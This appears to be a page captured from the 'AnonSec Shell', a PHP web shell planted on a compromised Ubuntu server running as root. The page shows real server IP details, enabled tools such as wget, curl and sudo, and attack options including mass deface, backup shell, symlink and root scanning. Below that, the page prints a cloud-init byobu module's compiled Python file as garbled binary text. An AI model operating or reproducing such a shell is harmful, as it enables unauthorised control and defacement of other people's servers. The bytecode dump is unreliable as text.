AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/config/__pycache__/cc_byobu.cpython-310.pyc
o

x[h�
�
@s�UdZddlZddlmZmZddlmZddlmZddl	m
Z
ddlmZddl
mZe�e�Zd	d
dgegd�Ze
ed
<dededededdf
dd�ZdS)z=Byobu: Enable/disable byobu system wide and for default user.�N)�subp�util)�Cloud)�Config)�
MetaSchema)�ug_util)�PER_INSTANCE�cc_byobu�ubuntu�debian)�id�distros�	frequency�activate_by_schema_keys�meta�name�cfg�cloud�args�returncCsl|r|d}nt�|dd�}|st�d|�dSt�d�s$|j�dg�|dks,|dkr0d|}d	}||vr<t�d
|�|�	d�}|�	d�}|�
d
�rRd}d}	d}n|dkrZd}d}d}d}	d}
|r�t�||j�\}}t�
|�\}
}|
s{t�d|�n|
d|
|f7}
|
d7}
|r�|
d|	7}
|
d7}
|
d7}
t|
�r�dddd|
dfg}t�d|�tj|dd �dSdS)!Nr�byobu_by_default�z1Skipping module named %s, no 'byobu' values found�byobu�user�systemz	enable-%s)zenable-userz
enable-system�enablezdisable-userzdisable-system�disablez%Unknown value %s for byobu_by_defaultz-userz-systemr�installz*byobu byobu/launch-by-default boolean trueTr�	uninstallz+byobu byobu/launch-by-default boolean falsezFNo default byobu user provided, can not launch %s for the default userz  sudo -Hu "%s" byobu-launcher-%sz || X=$(($X+1)); z"echo "%s" | debconf-set-selectionsz4 && dpkg-reconfigure byobu --frontend=noninteractivez/bin/shz-cz%s %s %szX=0;zexit $XzSetting byobu to %sF)�capture)r�get_cfg_option_str�LOG�debugr�which�distro�install_packages�warning�endswith�
startswithr�normalize_users_groups�extract_default�len)rrrr�value�valid�mod_user�mod_sys�bl_inst�dc_val�shcmd�users�_groupsr�_user_config�cmd�r7�;/usr/lib/python3/dist-packages/cloudinit/config/cc_byobu.py�handlesX




��r9)�__doc__�logging�	cloudinitrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.distrosr�cloudinit.settingsr�	getLogger�__name__r!r�__annotations__�str�listr9r7r7r7r8�<module>s
�"

Anon7 - 2022
AnonSec Team